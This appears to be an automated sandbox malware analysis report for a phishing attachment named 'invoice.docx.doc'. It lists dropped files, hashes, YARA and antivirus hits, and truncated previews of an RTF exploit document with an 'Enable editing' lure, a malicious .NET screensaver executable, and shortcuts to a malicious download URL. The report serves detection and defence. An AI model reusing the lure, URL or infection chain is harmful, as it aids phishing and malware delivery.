..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\milli[1].doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Rich Text Format data, version 1
Category:	dropped
Size (bytes):	637941
Entropy (8bit):	4.2755395736762845
Encrypted:	false
SSDEEP:	6144:s62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62s:H
MD5:	2A00CBB3C7C2F67B0386B302B190B988
SHA1:	FF8FC669C14328FAFFFB90D6AFE1B72A02CC26A7
SHA-256:	172F0DB920CE6C876377D7C2A4B40E04D9CFAFFB9ECA9666A60135BB84DFB0E3
SHA-512:	84E4F27750722D063E119ECA797C516A24C10CA9E979C2DE40F2673FF2A259EADC85A0B6A2D985440127C2F3E26B0B61C57BB8AD9ED6BDBDBDC37B7C81DF1AB6
Malicious:	false
Yara Hits:	Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\milli[1].doc, Author: ditekSHen
Reputation:	low
Preview:	{\rtf1..{\*\XkrXtOB5yGRvotK3EK6mDFzTKUnmXioqDOzvNyHDGLJv2ZEbqnvl2TIbkp3DbWSnkeXI9wVF39IooqZ6pKmoumcyhoZ7T7vVDQnokgcrPZglf87DGo05NZiFCNdehw0fcc2dhcOhKVjv8qfa8BpjxGN4IQWznOSvz8XuXAdQrslSkNzsWLZuBFO60rVGIr5uMtbmnh7g1a1W28rkPBVmawXzOZreklfJmnTRzec7rXoGWX5qqc}..{\435302610please click Enable editing from the yellow bar above.The independent auditors. opinion says the financial statements are fairly ...stated in accordance with the basis of accounting used by your organization. So why are the auditors giving you that other letter ...In an audit of financial statements, professional standards require that auditors obtain an understanding of internal controls to ...the extent necessary to plan the audit. Auditors use this understanding of internal controls to assess the risk of material ...misstatement of the financial statements and to design appropriate audit procedures to minimize that risk.The definition of good ...internal controls is that they allow errors and other misstatements to be p

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\milli[1].scr

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	796680
Entropy (8bit):	7.9271745777180485
Encrypted:	false
SSDEEP:	12288:UDfmrsi/DyklWYQFpCIHkZmkHQ8Wx7h5OMkrqq2zXNTweo935Xt1aPT6syGASq1M:UarsiuklcAw/15oqVzX6eoV5XHW6tRM
MD5:	3E71689FBA4D56A7F1C7923351518EA8
SHA1:	A71BE3D76435F207625064CA75CEB999CA079551
SHA-256:	4B191437619920E04354CABAC5F3546D7D556F66A96A11C2038610B403FAAAA3
SHA-512:	F69A521CEC7285307452574FB92321F3C1532A2F6B6DC5F031477D214D61886137B580F0B31B98D9978FC96D059E844C3FEBB5B25663FAB004116D3244D83DC5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45% Antivirus: Virustotal, Detection: 34%, Browse
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?.f..............0.................. ... ....@.. .......................`............@.................................V...O.... ...................6...@......T...T............................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......................4A.. ...........................................&.( ........0..9........~.........,".r...p.....(!...o"...s#...........~.....+......0...........~.....+.."........0..!........(....r;..p~....o$.....t.....+..".(%....F.(%.......(.......{...."..}....F.(%.......(.......{...."..}....&.(%.....F.(%.......(.......{...."..}........(......f.(%.......(.......(.......{...."..}......{...."..}......(......F.(%.......(.......{...."..}....*F.(%.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BD83929C.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Rich Text Format data, version 1
Category:	dropped
Size (bytes):	637941
Entropy (8bit):	4.2755395736762845
Encrypted:	false
SSDEEP:	6144:s62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62W62s:H
MD5:	2A00CBB3C7C2F67B0386B302B190B988
SHA1:	FF8FC669C14328FAFFFB90D6AFE1B72A02CC26A7
SHA-256:	172F0DB920CE6C876377D7C2A4B40E04D9CFAFFB9ECA9666A60135BB84DFB0E3
SHA-512:	84E4F27750722D063E119ECA797C516A24C10CA9E979C2DE40F2673FF2A259EADC85A0B6A2D985440127C2F3E26B0B61C57BB8AD9ED6BDBDBDC37B7C81DF1AB6
Malicious:	false
Yara Hits:	Rule: INDICATOR_RTF_MalVer_Objects, Description: Detects RTF documents with non-standard version and embeding one of the object mostly observed in exploit documents., Source: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\BD83929C.doc, Author: ditekSHen
Reputation:	low
Preview:	{\rtf1..{\*\XkrXtOB5yGRvotK3EK6mDFzTKUnmXioqDOzvNyHDGLJv2ZEbqnvl2TIbkp3DbWSnkeXI9wVF39IooqZ6pKmoumcyhoZ7T7vVDQnokgcrPZglf87DGo05NZiFCNdehw0fcc2dhcOhKVjv8qfa8BpjxGN4IQWznOSvz8XuXAdQrslSkNzsWLZuBFO60rVGIr5uMtbmnh7g1a1W28rkPBVmawXzOZreklfJmnTRzec7rXoGWX5qqc}..{\435302610please click Enable editing from the yellow bar above.The independent auditors. opinion says the financial statements are fairly ...stated in accordance with the basis of accounting used by your organization. So why are the auditors giving you that other letter ...In an audit of financial statements, professional standards require that auditors obtain an understanding of internal controls to ...the extent necessary to plan the audit. Auditors use this understanding of internal controls to assess the risk of material ...misstatement of the financial statements and to design appropriate audit procedures to minimize that risk.The definition of good ...internal controls is that they allow errors and other misstatements to be p

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{29E2E29E-E8D7-4444-B4C1-491BD16FE991}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Composite Document File V2 Document, Cannot read section info
Category:	dropped
Size (bytes):	5632
Entropy (8bit):	3.8266230358187814
Encrypted:	false
SSDEEP:	48:rEzvMPEIDtFYaegmU7USArY2oMnFmvG7occY:yMPFtFiUISczouHoc
MD5:	760833728786CF1A545814194A6C56D7
SHA1:	57BD0F3B42F5FDC3533356C07B266B5C5DFB06D0
SHA-256:	D129166317C9423C9B2734539A03E7D5EEDDE120161C383D337892F0FA2D5041
SHA-512:	8BDB0BF45F1A4789ADF7C17E4507E5213C4351F9CFDD2DEB5FDFE1893F961EC39C335D1F336C69738D3D5685D3DA3A48D736A9A807FD170D8AB0CE34464CF0F8
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Reputation:	low
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{56C650F8-251B-4F9F-9E2B-F04CCC4FE6B6}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A1073337-7931-4D9D-A676-8287E6D3EA6C}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.3555252507007243
Encrypted:	false
SSDEEP:	3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlb4:IiiiiiiiiifdLloZQc8++lsJe1Mz/
MD5:	37B853BD3D4056DA85CF1479EA685D90
SHA1:	310314134111F417E95FFAEEB25BF01B92B4A8F9
SHA-256:	4143A43F38285E53DFC5277A9FA14AF1E9E0C4FA2E2FEA8C2C34147B1CE8BA1E
SHA-512:	6CB45264B47136DF0AB58F1F9CF66B20C89B5D38BE03BB24841D20037AF5925CD3BE42C2593AFCB08074A51CDBB06D20076886D5CFAF2CB128309046B2A2CB02
Malicious:	false
Preview:	..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...&...*.......:...>...............................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{BA8241C7-1C05-4EA4-BBE6-D99AA80FB952}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	511450
Entropy (8bit):	3.621629728928142
Encrypted:	false
SSDEEP:	6144:RemBdeFemQZdeHemBde2em/deXemBdexemBdeMemBdememBdekemBde6emBdeqeS:k
MD5:	271957CE1E8C89ECC5B78817AFF72C3B
SHA1:	A09354D842AA8EB80F1809A4C0495A182D4299E0
SHA-256:	29909FE15CB930A5F538F574A6E37EE8D6B007B32861E2ED53CC8488084ACD93
SHA-512:	41DAD904919ACBE45028AC4EF5907AB2D37F0FFEDBB18771B9D11D7CEF320D06A008993B5C27CA816F49DE52A1B362B80AD66D75672155141787BD494F220EB6
Malicious:	false
Preview:	..d.M.B.C.....B.E.S.O.N.D.E.R.H.E.D.E. .B.E.S.O.N.D.E.R.H.E.D.E. .V.I.R. .H.I.E.R.D.I.E. .M.A.A.N.D.....D.R.A.E.N.D.E. .N.R... .H.O.E.V.....3.0.2.0.8. .N.B.C. .D.R.A.A.G. .3.0. .S.T.K.....3.0.3.0.8. .N.B.C. .D.R.A.A.G. .6. .S.T.K.....3.2.0.0.7.X. .N.B.C. .D.R.A.A.G. .7.4. .S.T.K.....3.3.0.0.5. .N.B.C. .w.a.t. .5. .s.t.e.l.l.e. .d.r.a.....5.2.7.9.9. ./. .8.0.0.U. .(.2.5.8.7.7./.2.1.). .N.B.C. .w.a.t. .3.0. .P.C.S. .d.r.a.....6.0.0.1. .N.B.C. .w.a.t. .1.0.0. .s.t.u.k.s. .d.r.a.....6.0.0.4. .N.B.C. .w.a.t. ...................f...h...................................R...T..................................................................................................................................................................................................................................................................................................<...$..$.If........!v..h.#v..9.:V....l...,..t.......9..6.,.....5.....9.9...../.............B.....a..].p............yt........d........gd.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{FE26605D-C8CD-4092-9A88-DD4D987634F8}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	617472
Entropy (8bit):	3.4409990610292085
Encrypted:	false
SSDEEP:	6144:0yemryemryemryemryemryemryemryemryemryemryemryemryemryemryemryeF:oe
MD5:	B5359F36F266316C16715BD41EC80445
SHA1:	55A846008B66E5BA4F6FB2EFC49F829CA7460815
SHA-256:	9A254016620F537E8D73525283BF80576D562BF5D1DF3A05AD13B26F89B77F52
SHA-512:	D8E01762D7736BA5069E252631A54E82741414BCC8968A3D76587E4EEA99787F3E66BDE7A89A52E8CC3D9971206367B1A1A3BEB76FC59EDF1B7FBDC7C12CAECF
Malicious:	false
Preview:	3.5.3.0.2.6.1.0.p.l.e.a.s.e. .c.l.i.c.k. .E.n.a.b.l.e. .e.d.i.t.i.n.g. .f.r.o.m. .t.h.e. .y.e.l.l.o.w. .b.a.r. .a.b.o.v.e...T.h.e. .i.n.d.e.p.e.n.d.e.n.t. .a.u.d.i.t.o.r.s.. .o.p.i.n.i.o.n. .s.a.y.s. .t.h.e. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s. .a.r.e. .f.a.i.r.l.y. .s.t.a.t.e.d. .i.n. .a.c.c.o.r.d.a.n.c.e. .w.i.t.h. .t.h.e. .b.a.s.i.s. .o.f. .a.c.c.o.u.n.t.i.n.g. .u.s.e.d. .b.y. .y.o.u.r. .o.r.g.a.n.i.z.a.t.i.o.n... .S.o. .w.h.y. .a.r.e. .t.h.e. .a.u.d.i.t.o.r.s. .g.i.v.i.n.g. .y.o.u. .t.h.a.t. .o.t.h.e.r. .l.e.t.t.e.r. .I.n. .a.n. .a.u.d.i.t. .o.f. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s.,. .p.r.o.f.e.s.s.i.o.n.a.l. .s.t.a.n.d.a.r.d.s. .r.e.q.u.i.r.e. .t.h.a.t. .a.u.d.i.t.o.r.s. .o.b.t.a.i.n. .a.n. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .t.h.e. .e.x.t.e.n.t. .n.e.c.e.s.s.a.r.y. .t.o. .p.l.a.n. .t.h.e. .a.u.d.i.t... .A.u.d.i.t.o.r.s. .u.s.e. .t.h.i.s. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .a.s.s.e.s.s. .

C:\Users\user\AppData\Local\Temp\ggrwxfj1.e5i.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\odfkbp1o.sxo.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\{58D17D63-D358-41F6-8052-5B1359B2E6D3}

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025583137954129403
Encrypted:	false
SSDEEP:	6:I3DPcZ8Rj+vxggLRvmgtVKdZ/RXv//4tfnRujlw//+GtluJ/eRuj:I3DPI8R8DgHvYg3J/
MD5:	719C8D86B124A9F8B7885504C92EA850
SHA1:	423D7F94FA2BFEE6A461267D6740E410CD066B76
SHA-256:	1C1BE3CD62D6ABFA7E0BBF326EB590BC85E640E0C0AA43B0653326A73B9B339F
SHA-512:	5ED399A8084E39769A25DD10417CE8465AAD8B61ABC03775F31D38A3E6D05EF63EA65A95A5C7EA05317D3C26F73316766361DCE61A9B7561C9A1E7D028332DCA
Malicious:	false
Preview:	......M.eFy...z......L..J.w...S,...X.F...Fa.q............................u..N.t.D..s.kw..........j.df.6.O...P..,......................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\{D0AADF5A-103B-4461-8C12-308137D97B7C}

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.025498425711638555
Encrypted:	false
SSDEEP:	6:I3DPcx07vxggLRJBTt3RXv//4tfnRujlw//+GtluJ/eRuj:I3DPpHvYg3J/
MD5:	5A001F5F2ED80D1F571ADAF7629B3FEB
SHA1:	FE282853C6971BD290FA11170055409134780B56
SHA-256:	6A991AC26AB2A0EBA4DD59B3726B42DDEF33CA60BD1B6D6B6B25DA2E6C61C3A3
SHA-512:	D8DB7B45354E7C809DC416DE012603C2D505C8DA32BD184DC175669F1E4965C51FDF91A9D295964714826DA1555F1AD10625638A2C173405F5CA08B81AC88626
Malicious:	false
Preview:	......M.eFy...za......H......6.S,...X.F...Fa.q............................+.?1Rl%E.{.............u.6i...E..v.5.z].....................................................................x...x...x...x...............................................................................................................................................................................................................................................................................................................................zV.......... ..@...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\darpexllc.top.url

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows 95 Internet shortcut text (URL=<https://darpexllc.top/>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	48
Entropy (8bit):	4.487649282740801
Encrypted:	false
SSDEEP:	3:HRAbABGQYm2fEGGlKVKy:HRYFVm4EGGAD
MD5:	8E82C76B2A48B851EF117B08AE55B919
SHA1:	F6672ABE65F9EC765F4078C8CFDEB5008CD3F260
SHA-256:	CB35CFC6A4A4C158BB434A25A8A3188884EE7DB908DB5E018C0E34B1FFCC862B
SHA-512:	6A234503A14065DD64E6F82B34E850841126F08316657C1E4225C41D1DE44558B6284FAFC9A24642367A69FF12044BC893446EC6F00855F6EDF574A4A05CAFDA
Malicious:	true
Preview:	[InternetShortcut]..URL=https://darpexllc.top/..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	96
Entropy (8bit):	4.4589525379265975
Encrypted:	false
SSDEEP:	3:M1xM1DNfLFSm46XVgGlKVLrfLFSv:MSDFFfFgGAL3Fc
MD5:	315A02B52D8363EA1451058965CCAC10
SHA1:	5BA37B75F6E41867385C0906697512E7FB0B0D41
SHA-256:	B8BCE2E76E5E88442E25A722C9527AEDB2E58B2695CA861CB7EC4C6AE9AEB029
SHA-512:	7D2D4AACCEEA051E69CB7C8BF33F2BDDBE67AEBBB146811A7A63D3321ACE4BD004B615A31A654403DBD6CFA867CED0FCB8DF49D02F998DC0D5208F8AB2E7383D
Malicious:	false
Preview:	[doc]..milli.doc.url=0..invoice.docx.LNK=0..[folders]..darpexllc.top.url=0..invoice.docx.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\invoice.docx.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:10 2023, mtime=Fri Aug 11 15:42:10 2023, atime=Fri Jul 26 06:25:58 2024, length=95996, window=hide
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	4.569209869233163
Encrypted:	false
SSDEEP:	24:8Py0c/XTlMT4MMynqLTe7U9tyDv3qBk7N:8y/XTlSSyqLTvBBiN
MD5:	05CE73A6C5B64959E0969106580F7D6E
SHA1:	A6A286D4AD3548E6CEAEDFA301A1CD4314C6F05A
SHA-256:	2500DB5ACAF9DB74051C56C665501D3F235B9586AD6B888A01C6636DC2F3C18C
SHA-512:	742EE74E44EBE129EA8169FB6F368191226806B057783B1EDD3D8C2FA76CB1BA9DA02DA91A929731944278D15E1EAEDE9164C324583F8F4D6CC8CB131C05402B
Malicious:	false
Preview:	L..................F.... ....j..r....j..r...f...-....v...........................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1......X;;..user.8......QK.X.X;;...&=....U...............A.l.b.u.s.....z.1......WG...Desktop.d......QK.X.WG...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....j.2..v...X@; .INVOIC~1.DOC..N.......WF..WF..........................i.n.v.o.i.c.e...d.o.c.x...d.o.c.......z...............-...8...[............?J......C:\Users\..#...................\\927537\Users.user\Desktop\invoice.docx.doc.'.....\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.i.n.v.o.i.c.e...d.o.c.x...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......927537..........D_....3N...W...9.W.e8...8.....[D_....3N...W

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\milli.doc.url

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows 95 Internet shortcut text (URL=<https://darpexllc.top/milli.doc>), ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.601647742807128
Encrypted:	false
SSDEEP:	3:HRAbABGQYm2fEGGlKVKKLBU:HRYFVm4EGGAR1U
MD5:	68942A67EEA5D2F28D080B183522ADF9
SHA1:	5A431596FE0774E9E6EA2130DC8EDC566B744C76
SHA-256:	E045A5061F98CD436F9E30D2F44894A8DC64322A03FF5501830D4DFF4F61A500
SHA-512:	8BCF579F7A32537F63D54E2053F538769D1B0539658EE5D1BDA05C0BACA0BB3248CF21B36913C6BB22AEBE241402B7634A9AC3CE5A397DC7AE46E02E247B611A
Malicious:	true
Preview:	[InternetShortcut]..URL=https://darpexllc.top/milli.doc..

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Roaming\milliano89012.scr

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	796680
Entropy (8bit):	7.9271745777180485
Encrypted:	false
SSDEEP:	12288:UDfmrsi/DyklWYQFpCIHkZmkHQ8Wx7h5OMkrqq2zXNTweo935Xt1aPT6syGASq1M:UarsiuklcAw/15oqVzX6eoV5XHW6tRM
MD5:	3E71689FBA4D56A7F1C7923351518EA8
SHA1:	A71BE3D76435F207625064CA75CEB999CA079551
SHA-256:	4B191437619920E04354CABAC5F3546D7D556F66A96A11C2038610B403FAAAA3
SHA-512:	F69A521CEC7285307452574FB92321F3C1532A2F6B6DC5F031477D214D61886137B580F0B31B98D9978FC96D059E844C3FEBB5B25663FAB004116D3244D83DC5
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 45% Antivirus: Virustotal, Detection: 34%, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?.f..............0.................. ... ....@.. .......................`............@.................................V...O.... ...................6...@......T...T............................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B........................H.......................4A.. ...........................................&.( ........0..9........~.........,".r...p.....(!...o"...s#...........~.....+......0...........~.....+.."........0..!........(....r;..p~....o$.....t.....+..".(%....F.(%.......(.......{...."..}....F.(%.......(.......{...."..}....&.(%.....F.(%.......(.......{...."..}........(......f.(%.......(.......(.......{...."..}......{...."..}......(......F.(%.......(.......{...."..}....*F.(%.

C:\Users\user\Desktop\~$voice.docx.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Microsoft Word 2007+
Entropy (8bit):	7.991623684874781
TrID:	Word Microsoft Office Open XML Format document (49504/1) 58.23% Word Microsoft Office Open XML Format document (27504/1) 32.35% ZIP compressed archive (8000/1) 9.41%
File name:	invoice.docx.doc
File size:	95'996 bytes
MD5:	b75bd88d4f4f2a7a5e77a4109d55c6ea
SHA1:	064c35b26c31413319d938fbc6ebaa3c4c85392e
SHA256:	b74bbed109e630f69004a7372b4271fad04ace2cea48e99d730401738ee47deb
SHA512:	804c44d64817ad8d4acdf987477018b30e76692d280e07755a2e2ba972c0a1ffbe396de15c9936103f73312cc9a70cb5ba25ca0506ec2272ac5a0c3930d15c44
SSDEEP:	1536:huzw/hgP0QF6smQKEMzqsQtrm5rbXkvMtLQ6j7jfmMIGSzyn5ivkSVkkKLkJe0z5:A0Q8hjOXIrbXyMtE6j/EfvkS8Lrg5
TLSH:	DC9302316DDA36BAC74D2875B1B1BB6E72E68D1314722904B570DE8F23348B3E712E18
File Content Preview:	PK...........X...7U... .......[Content_Types].xmlUT......f...f...f...n.0.E...............e.T.....U..<...;!.U.%U.M.d..sgby0ZW.[BB.\|!.yOd.u0....>y....Iy.\.P.........M..X...s.x/%.9T....s...R..i&...j......:x.O].=.p...Z8.....I........U....Z...........r..s....B

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Static OLE Info

General

Document Type:	OpenXML
Number of OLE Files:	1

OLE File "invoice.docx.doc"

Indicators

Has Summary Info:
Application Name:
Encrypted Document:	False
Contains Word Document Stream:	True
Contains Workbook/Book Stream:	False
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Network Behavior

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-26T09:26:19.038068+0200	TCP	2022053	ET MALWARE Likely Evil EXE download from MSXMLHTTP non-exe extension M2	443	49168	188.114.96.3	192.168.2.22

